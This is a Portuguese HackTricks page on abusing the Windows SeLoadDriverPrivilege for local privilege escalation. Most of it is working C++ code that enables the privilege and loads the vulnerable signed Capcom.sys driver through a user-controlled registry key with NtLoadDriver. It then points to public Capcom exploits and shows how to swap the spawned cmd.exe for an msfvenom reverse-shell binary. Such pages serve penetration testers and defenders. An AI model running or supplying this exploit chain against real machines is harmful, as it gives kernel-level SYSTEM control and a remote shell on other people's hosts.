hacktricks/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens/abuse-seloaddriverprivilege.md
2024-12-12 13:56:11 +01:00

10 KiB

Abuso do Privilégio SeLoadDriver

☁️ HackTricks Cloud ☁️ - 🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Privilégio SeLoadDriver

Um privilégio muito perigoso para atribuir a qualquer usuário - ele permite que o usuário carregue drivers de kernel e execute código com privilégios de kernel, também conhecido como NT\System. Veja como o usuário offense\spotless possui esse privilégio:

Whoami /priv mostra que o privilégio está desativado por padrão:

No entanto, o código abaixo permite habilitar esse privilégio de forma bastante fácil:

{% code title="privileges.cpp" %}

#include "stdafx.h"
#include <windows.h>
#include <stdio.h>

int main()
{
TOKEN_PRIVILEGES tp;
LUID luid;
bool bEnablePrivilege(true);
HANDLE hToken(NULL);
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);

if (!LookupPrivilegeValue(
NULL,            // lookup privilege on local system
L"SeLoadDriverPrivilege",   // privilege to lookup
&luid))        // receives LUID of privilege
{
printf("LookupPrivilegeValue error: %un", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;

if (bEnablePrivilege) {
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
}

// Enable the privilege or disable all privileges.
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
printf("AdjustTokenPrivileges error: %x", GetLastError());
return FALSE;
}

system("cmd");
return 0;
}

{% endcode %}

Compilamos o código acima, executamos e o privilégio SeLoadDriverPrivilege agora está habilitado:

Exploração do Driver Capcom.sys

Para provar ainda mais que o SeLoadDriverPrivilege é perigoso, vamos explorá-lo para elevar privilégios.

Você pode carregar um novo driver usando NTLoadDriver:

NTSTATUS NTLoadDriver(
_In_ PUNICODE_STRING DriverServiceName
);

Por padrão, o nome do serviço do driver deve estar em \Registry\Machine\System\CurrentControlSet\Services\

No entanto, de acordo com a documentação, você também poderia usar caminhos sob HKEY_CURRENT_USER, então você poderia modificar um registro lá para carregar drivers arbitrários no sistema. Os parâmetros relevantes que devem ser definidos no novo registro são:

  • ImagePath: valor do tipo REG_EXPAND_SZ que especifica o caminho do driver. Neste contexto, o caminho deve ser um diretório com permissões de modificação pelo usuário não privilegiado.
  • Type: Valor do tipo REG_WORD no qual o tipo de serviço é indicado. Para nosso propósito, o valor deve ser definido como SERVICE_KERNEL_DRIVER (0x00000001).

Portanto, você poderia criar um novo registro em \Registry\User\<User-SID>\System\CurrentControlSet\MyService indicando em ImagePath o caminho para o driver e em Type com o valor 1 e usar esses valores na exploração (você pode obter o SID do usuário usando: Get-ADUser -Identity 'NOME_DE_USUÁRIO' | select SID ou (New-Object System.Security.Principal.NTAccount("NOME_DE_USUÁRIO")).Translate([System.Security.Principal.SecurityIdentifier]).value

PCWSTR pPathSource = L"C:\\experiments\\privileges\\Capcom.sys";
PCWSTR pPathSourceReg = L"\\Registry\\User\\<User-SID>\\System\\CurrentControlSet\\MyService";

O primeiro declara uma variável de string indicando onde o driver vulnerável Capcom.sys está localizado no sistema da vítima e o segundo é uma variável de string indicando um nome de serviço que será usado (pode ser qualquer serviço).
Observe que o driver deve ser assinado pelo Windows para que você não possa carregar drivers arbitrários. No entanto, Capcom.sys pode ser abusado para executar código arbitrário e é assinado pelo Windows, então o objetivo é carregar este driver e explorá-lo.

Carregue o driver:

#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
#include <ntsecapi.h>
#include <stdlib.h>
#include <locale.h>
#include <iostream>
#include "stdafx.h"

NTSTATUS(NTAPI *NtLoadDriver)(IN PUNICODE_STRING DriverServiceName);
VOID(NTAPI *RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
NTSTATUS(NTAPI *NtUnloadDriver)(IN PUNICODE_STRING DriverServiceName);

int main()
{
TOKEN_PRIVILEGES tp;
LUID luid;
bool bEnablePrivilege(true);
HANDLE hToken(NULL);
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);

if (!LookupPrivilegeValue(
NULL,            // lookup privilege on local system
L"SeLoadDriverPrivilege",   // privilege to lookup
&luid))        // receives LUID of privilege
{
printf("LookupPrivilegeValue error: %un", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;

if (bEnablePrivilege) {
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
}

// Enable the privilege or disable all privileges.
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
printf("AdjustTokenPrivileges error: %x", GetLastError());
return FALSE;
}

//system("cmd");
// below code for loading drivers is taken from https://github.com/killswitch-GUI/HotLoad-Driver/blob/master/NtLoadDriver/RDI/dll/NtLoadDriver.h
std::cout << "[+] Set Registry Keys" << std::endl;
NTSTATUS st1;
UNICODE_STRING pPath;
UNICODE_STRING pPathReg;
PCWSTR pPathSource = L"C:\\experiments\\privileges\\Capcom.sys";
PCWSTR pPathSourceReg = L"\\Registry\\User\\<User-SID>\\System\\CurrentControlSet\\MyService";
const char NTDLL[] = { 0x6e, 0x74, 0x64, 0x6c, 0x6c, 0x2e, 0x64, 0x6c, 0x6c, 0x00 };
HMODULE hObsolete = GetModuleHandleA(NTDLL);
*(FARPROC *)&RtlInitUnicodeString = GetProcAddress(hObsolete, "RtlInitUnicodeString");
*(FARPROC *)&NtLoadDriver = GetProcAddress(hObsolete, "NtLoadDriver");
*(FARPROC *)&NtUnloadDriver = GetProcAddress(hObsolete, "NtUnloadDriver");

RtlInitUnicodeString(&pPath, pPathSource);
RtlInitUnicodeString(&pPathReg, pPathSourceReg);
st1 = NtLoadDriver(&pPathReg);
std::cout << "[+] value of st1: " << st1 << "\n";
if (st1 == ERROR_SUCCESS) {
std::cout << "[+] Driver Loaded as Kernel..\n";
std::cout << "[+] Press [ENTER] to unload driver\n";
}

getchar();
st1 = NtUnloadDriver(&pPathReg);
if (st1 == ERROR_SUCCESS) {
std::cout << "[+] Driver unloaded from Kernel..\n";
std::cout << "[+] Press [ENTER] to exit\n";
getchar();
}

return 0;
}

Depois que o código acima é compilado e executado, podemos ver que nosso driver malicioso Capcom.sys é carregado no sistema da vítima:

Download: Capcom.sys - 10KB

Agora é hora de abusar do driver carregado para executar código arbitrário.

Você pode baixar exploits de https://github.com/tandasat/ExploitCapcom e https://github.com/zerosum0x0/puppetstrings e executá-los no sistema para elevar nossos privilégios para NT Authority\System:

Sem Interface Gráfica

Se não tivermos acesso à GUI no alvo, teremos que modificar o código ExploitCapcom.cpp antes de compilar. Aqui podemos editar a linha 292 e substituir C:\\Windows\\system32\\cmd.exe" por, por exemplo, um binário de shell reverso criado com msfvenom, como: c:\ProgramData\revshell.exe.

Código: c

// Launches a command shell process
static bool LaunchShell()
{
TCHAR CommandLine[] = TEXT("C:\\Windows\\system32\\cmd.exe");
PROCESS_INFORMATION ProcessInfo;
STARTUPINFO StartupInfo = { sizeof(StartupInfo) };
if (!CreateProcess(CommandLine, CommandLine, nullptr, nullptr, FALSE,
CREATE_NEW_CONSOLE, nullptr, nullptr, &StartupInfo,
&ProcessInfo))
{
return false;
}

CloseHandle(ProcessInfo.hThread);
CloseHandle(ProcessInfo.hProcess);
return true;
}

A string CommandLine neste exemplo seria alterada para:

Código: c

TCHAR CommandLine[] = TEXT("C:\\ProgramData\\revshell.exe");

Automático

Você pode usar https://github.com/TarlogicSecurity/EoPLoadDriver/ para ativar automaticamente o privilégio, criar a chave de registro em HKEY_CURRENT_USER e executar NTLoadDriver indicando a chave de registro que deseja criar e o caminho para o driver:

Em seguida, será necessário baixar um exploit Capcom.sys e usá-lo para elevar os privilégios.